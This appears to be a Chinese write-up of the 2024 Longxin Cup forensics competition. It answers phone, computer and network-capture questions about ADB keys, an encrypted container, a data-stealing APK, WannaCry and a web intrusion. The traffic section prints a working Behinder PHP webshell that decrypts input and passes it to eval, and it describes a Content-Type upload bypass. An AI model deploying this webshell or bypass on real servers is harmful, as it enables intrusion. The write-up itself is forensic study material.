大佬文章:
龙信杯复现(23、24) | Bthcls'Blog
手机部分
资料:2024年第二届龙信杯 WP_2024龙信杯wp-CSDN博客
1.分析手机检材,请问此手机共通过adb连接过几个设备?[标准格式:3] 2
/data/adb/magisk.db
其实是magisk APP的数据库,而policies
表是APP用来根据包名,用户id决定策略的。Magisk的policies表位于/data/adb/magisk.db数据库中,主要用于存储Magisk模块的配置信息。
Android 设备在通过 ADB 连接时,通常会要求用户授权连接,会要求用户确认设备授权,并将该设备的公钥保存在
adb_keys
文件中。该文件保存在/data/misc/adb/adb_keys
。
如果要查看ADB的相关配置,可以在/misc/adb/
中找到,在此文件夹中包含adb_temp_keys.xml
,其中存储了ADB 密钥,那么受害人手机上包含了2条密钥,因此连接过2台设备
2.分析手机检材,机主参加考试的时间是什么时候?[标准格式:2024-06-17] 2024-08-23
在便签中可以直接找到8月12日说下周五考试,下周五是8月23日
3.分析手机检材,请问手机的蓝牙Mac地址是多少?[标准格式:12:12:12:12:12:12] 48:87:59:76:21:0f
蓝牙Mac地址存在于misc_1/bluedroid/bt_config.conf
中
4. 分析手机检材,请问压缩包加密软件共加密过几份文件?[标准格式:3] 6
这道题如果用的火眼,记得分析耗时任务中的特征分析
在搜索记录中能够发现filecompress
,知道其包名为com.zs.filecompress
,全局搜索后在media_425/0/FileCompress
下发现压缩包(名字.txt,实际是压缩包)
5.分析手机检材,请问机主的另外一个155的手机号码是多少?[标准格式:15555000555]
15599555555
在/app/~~_jzJxEiovvVW2OdDRNs_dw==/com.zs.filecompress-rGjcoW-RV_xJmIwAD522NA==
下找到apk文件
上面导出apk文件后,查看该apk文件的manifest,找到入口为MainActivity
,找到压缩密码为1!8Da9Re5it2b3a.
这里使用到雷电手机取证工具
对第四题的6个压缩包解密即可,在mm.txt中找到另一个电话
6.分析手机检材,其手机存在一个加密容器,请问其容器密码是多少。(标准格式:abc123)
d7Avsd!Y]u}J8i(1bnDD@<-o
接上一个题可得
7.分析手机检材,接上问,其容器中存在一份成员名单,嫌疑人曾经误触导致表格中的一个成员姓名被错误修改,请确认这个成员的原始正确姓名?[标准格式:张三]
既然上题知道了容器密码,那么现在去找容器,在
受害人手机检材.tar/media_425/0/Download/data
中发现容器,但是并不是简单的vc容器挂载,而是tc加密
资料:
【常见加密容器的取证方法】
使用tc进行挂载,发现成功
使用大佬脚本
import pandas as pd
file_path = '名单数据.xlsx'
df = pd.read_excel(file_path)
phone_to_name = {}
for name, phone, inviter, inviter_phone in zip(df['姓名'], df['手机号'], df['邀请人'], df['邀请人手机号']):
if phone not in phone_to_name:
phone_to_name[phone] = name
elif phone_to_name[phone] != name:
print(f"警告:手机号 {phone} 对应了多个不同的姓名:{phone_to_name[phone]} 和 {name}")
if inviter_phone not in phone_to_name:
phone_to_name[inviter_phone] = inviter
elif phone_to_name[inviter_phone] != inviter:
print(f"警告:手机号 {inviter_phone} 对应了多个不同的邀请人:{phone_to_name[inviter_phone]} 和 {inviter}")
#警告:手机号 15979503550 对应了多个不同的姓名:陆陆 和 陆俊梅
8.分析手机检材,接上题,请确认该成员的对应的最高代理人是谁(不考虑总部)?[标准格式:张三]
刘珏兰
手动筛选xlsx表格,可以得出上级关系是:陆俊梅-->肖玉莲-->刘珏兰-->总部
9.分析手机检材,请确认在该组织中,最高层级的层次是多少?(从总部开始算第一级)[标准格式:10] 12
10.分析手机检材,请问第二层级(从总部开始算第一级)人员最多的人是多少人?[标准格式:100]
11.分析手机检材,机主共开启了几款APP应用分身?[标准格式:3] 2
12.分析手机检材,请问机主现在安装了几款即时通讯软件(微博除外)?[标准格式:1] 2
13.分析手机检材,请问勒索机主的账号是多少(非微信ID)?[标准格式:AB123CD45]
1836042664454131712
14.分析手机检材,接上问,请问机主通过此应用共删除了多少条聊天记录 ?[标准格式:2] 1
15.分析手机检材,请问会盗取手机信息的APP应用包名是什么?[标准格式:com.lx.tt]
com.lxlxlx.luoliao
在微信聊天记录中,能够发现盗取手机信息的APP
使用雷电打开
16. 接上题,请问该软件作者预留的座机号码是多少?[标准格式:40088855555]
40085222666
发现可疑的编码
继续跟进,发现存在AES解加密
既然是AES就要寻找key,在可疑 的编码这里找到key
key是E10ADC3949BA59ABBE56E057F20F883E,iv是其前16位,即E10ADC3949BA59AB
将可疑的编码进行解密
17.接上题,恶意程序偷取数据的收件邮箱地址的gmail邮箱是多少?[标准格式:lx@gmail.com]
1304567895@gmail.com
雷电直接分析出邮箱
可以解密得出
18.接上题,恶意程序偷取数据的发件邮箱地址是多少?[标准格式:lx@gmail.com]
temp1234@gmail.com
smtp常用来发送邮件
进行解密
19.接上题,恶意程序偷取数据的发件邮箱密码是多少?[标准格式:abc123] qwer123456
20.接上题,恶意程序定义收发件的地址函数是什么?[标准格式:a] a
以下这段代码是一个用于配置和发送电子邮件的Java类的一部分,它使用自定义的加密/解码方法和外部库来安全地处理敏感信息,并通过SMTP协议发送邮件。
计算机部分
在火眼中可以发现电脑的用户信息,登录密码,注意,这里的密码在重置时不要修改
在火眼中还发现,存在加密文件
计算机取证用到了仿真软件
1.分析计算机检材,嫌疑人在将其侵公数据出售前在Pycharm中进行了AES加密,用于加密的key是多少?[标准格式:1A23456ABCD]
65B2564BG89F16G9
2.分析计算机检材,身份证为"371963195112051505"这个人的手机号码是多少?[标准格式:13013524420]
15075547510
通过已知条件,可知存在加密的文件,使用ai生成解密脚本
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
def aes_decrypt(encrypted_data, key, iv):
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)
return decrypted_data.decode()
key = b'65B2564BG89F16G9'
iv = b'83E6CBEF547944CF'
input_file = "encrypted_data.txt"
output_file = "decrypted_data.txt"
def process_decrypted_data(input_file, output_file, key, iv):
with open(input_file, "r") as f_in, open(output_file, "w") as f_out:
for line in f_in:
parts = line.strip().split(',')
index = parts[0]
f_out.write(index + ",")
decrypted_parts = []
for part in parts[1:]:
encrypted_part = bytes.fromhex(part)
decrypted_part = aes_decrypt(encrypted_part, key, iv)
decrypted_parts.append(decrypted_part)
f_out.write(",".join(decrypted_parts) + "\n")
process_decrypted_data(input_file, output_file, key, iv)
print("解密完成。")
解密完成之后,找到对应的电话号码
3.分析计算机检材,对解密后的身份证数据列进行单列去重操作,重复的身份证号码数量是多少?(身份证不甄别真假)[标准格式:100] 0
使用脚本,发现数量为0
# 打开文件并读取所有行
with open('decrypted_data.txt', 'r') as file:
lines = file.readlines()
# 去除每行开头和结尾的空白字符
id_cards = [line.strip() for line in lines]
# 使用collections模块的Counter类来统计每个身份证号出现的次数
from collections import Counter
counter = Counter(id_cards)
# 计算重复的身份证号数量
duplicate_count = sum(count for count in counter.values() if count > 1)
print(f"身份证重复数量: {duplicate_count}")
>>>身份证重复数量: 0
4.分析计算机检材,接上题,根据身份证号码(第17位)分析性别,男性的数据是多少条?[标准格式:100]
工具使用方法:Navicat Premium基本使用教程-CSDN博客
5001714
5.分析计算机检材,接上题,对解密后的数据文件进行分析,甄别身份证号码性别值与标识性别不一致的数量是多少?[标准格式:100]
5001185
6.分析计算机检材,计算机中存在的“VPN”工具版本是多少?[标准格式:1.1] 4.4
找软件WinXray
7.分析计算机检材,计算机中存在的“VPN”节点订阅地址是什么?[标准格式:http://xxx.xx/x/xxx]
https://paste.ee/d/4eIzU
8.分析计算机检材,eduwcry压缩包文件的解压密码是什么?[标准格式:abcabc] yasuomima
在下载中压缩包,并发现密码管理器中的密码
9.分析计算机检材,接上题,请问恶意程序释放压缩包的md5值是多少。[标准格式:全小写]
2024龙信杯wannacry勒索病毒题目分析_wannacry修改壁纸的函数-CSDN博客
10.分析计算机检材,接上题,请问恶意程序记录的洋葱浏览器下载地址是多少?[标准格式:http://xxx.xxx/xxx/xxx.zip]
注意:这里需要关闭防火墙的相关软件软件
然后在c.wnry中找到了。
11.分析计算机检材,接上题,请问恶意程序解密了t.wnry后该dll的md5值是多少。[标准格式:全小写]
12 分析计算机检材,接上题,恶意程序运行起来后第一个循环调用了几次taskkill.exe。[标准格式:2]
13 分析计算机检材,接上题,请问@WanaDecryptor@.exe.lnk文件是通过什么函数创建的。[标准格式:Aabcdef]
14 分析计算机检材,接上题,恶意程序修改系统桌面壁纸是在哪个函数实现的[标准格式:sub_xxx]
15.分析计算机检材,VeraCrypt加密容器的密码是什么?[标准格式:abc]
16.分析计算机检材,其中存在一个苹果手机备份包,手机备份包的密码是什么?[标准格式:12345]
75966
挂载data-backup,成功之后,即可得到一个苹果手机的备份包。
在浏览记录中发现用户搜索过如何解密5位数字密码的苹果备份
火眼中发现有密码
使用passware kit爆破密码
17. 分析计算机检材,接上题,机主实际篡改多少条微信数据?[标准格式:1] 3
18. 分析计算机检材,接上题,机主共存款了多少金额?[标准格式:10万]
在火眼的分析中,发现SQLite文件,里面的message有关键信息
19.分析计算机检材,在手机模拟器中勒索apk软件的sha256值是什么?[标准格式:全小写]
340bd211955996c5d62bbde94a0bed4eb3a7965b23af52114991bca02346928e
20.分析计算机检材,接上题,请问勒索apk软件的解锁密码是什么?[标准格式:qwer.com]
anzhuo.com
流量分析
参考大佬文件:
http://t.csdnimg.cn/l0jVH
1.分析流量包检材,给出管理员对web环境进行管理的工具名。(标准格式:小皮)宝塔
服务器IP为192.168.209.147。然后分析一下服务器的流量,发现了DNS信息,这边服务器主动请求了宝塔服务器。有其DNS解析记录,所以管理工具应该就是宝塔面板。
2.分析流量包检材,给出攻击者的ip地址是多少。(标准格式:127.0.0.1)
使用http contains "pwd"筛选出所有HTTP请求或响应中包含字符串"pwd"的数据包,有效地监控和分析网络中的敏感操作,确保网络安全,从里面可以看出攻击的ip地址
3.分析流量包检材,给出攻击者爆破出的网站非管理员用户名是。(标准格式:admin)
4.分析流量包检材,攻击者进行目录扫描得到的具有后门的页面url路径为。(标准格式:/abc.html) /up_load.html
http.request.uri matches "/*.html".
5.分析流量包检材,攻击者通过修改请求包中的哪个字段导致恶意文件成功上传。(标准格式:test-type)Content-Type
看到这里失败了
过滤看一下有关流量,http.request.uri matches “/up_load.php”
这里是上传成功的
对比能够发现,修改为Content-Type: image/jpeg
能上传php和jpeg,因此修改的字段就是Content-Type
6.分析流量包检材,攻击者上传成功的恶意文件, 该文件的临时存放路径是。(标准格式:/abc/edf)/tmp/php38mbeJ
webshell在/uploaded_img/cont.php
7.分析流量包检材,服务器php配置文件的存放位置。 [标准格式:/www/sev/php.ini]
/www/server/php/82/etc/php.ini
由木马内容可知AES128加密
追踪木马文件流,尝试以后,进行解密,最后在第127个流追到了对应的命令。
以下是冰蝎马
冰蝎:冰蝎3.0流量包简单分析_冰蝎3.0解密-CSDN博客
工具:Webshell 流量在线解密
<?php
@error_reporting(0);
session_start();
//这行代码尝试将PHP的错误报告级别设置为0,即关闭所有错误报告。@符号是PHP中的错误控制运算符,用于抑制错误消息的显示。然而,这种做法在生产环境中通常不是最佳实践,因为它可能隐藏了重要的问题。
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
session_write_close();
//这里定义了一个密钥$key,并将其存储在会话变量$_SESSION['k']中。这可能是为了后续操作中使用这个密钥,尽管在当前脚本中未直接使用会话中的密钥。session_write_close();:写入会话数据并关闭会话文件。这通常用于在脚本中尽早关闭会话,以便其他脚本或页面可以读取或写入会话数据。
$post=file_get_contents("php://input");//使用file_get_contents("php://input")读取原始POST数据。这对于处理非表单编码的POST请求(如JSON或XML)特别有用。
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
//接下来,根据是否加载了openssl扩展,以不同的方式解密POST数据:
如果未加载openssl扩展,则使用简单的XOR加密与$key进行解密。注意这里使用了字符串的索引来访问字符,并通过$i+1&15确保索引在$key的长度范围内循环。
如果加载了openssl扩展,则使用AES-128算法解密POST数据。然而,这里的实现存在一些问题:AES解密需要密钥、初始化向量(IV)和适当的模式(如CBC、ECB等),但这里只提供了密钥,没有提到IV和模式。
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
//解密后的数据被假设为函数名|参数的格式,通过explode('|', $post)分割成数组。
定义一个匿名类C,它实现了__invoke魔术方法。这意味着C的实例可以作为函数被调用,实际上执行的是eval($p);,其中$p是传递给__invoke方法的参数。
使用@call_user_func(new C(), $params);动态调用C的实例,并传入$params作为参数。
?>
根据以上继续进行解密,在20294流中得到对于的内容
接下来,解密内容(也在20294流中),发现数据库的密码
解密20294流中另一个base64,$path="L3d3dy93d3dyb290LzE5Mi4xNjguMjA5LjE0Nw==得到以下内容
通过分析流量可知,配置存储文件在流127之前,通过筛选找到这个
/www/server/php/82/etc/php.ini
8.分析流量包检材,被攻击的web环境其数据库密码是。 [标准格式:qwer1234]
在上题中发现数据库的密码
X847Z3QzF1a6MHjR
9.分析流量包检材,服务器管理存放临时登录密码的位置。 [标准格式:/tmp/pass]
在29854流中发现相关信息,/tmp/tmppass
10.分析流量包检材,黑客获取的高权限主机的登录密码。 [标准格式:qwer1234]
passwd!@#
接上题,在一样的流中发现
服务器部分
1. 分析服务器检材,服务器会做登录密码验证,该登录验证文件位置在?[标准格式:/xxx/xxx/xxx.xxx]
2.分析服务器检材,服务器ssh端口是多少?[标准格式:1234]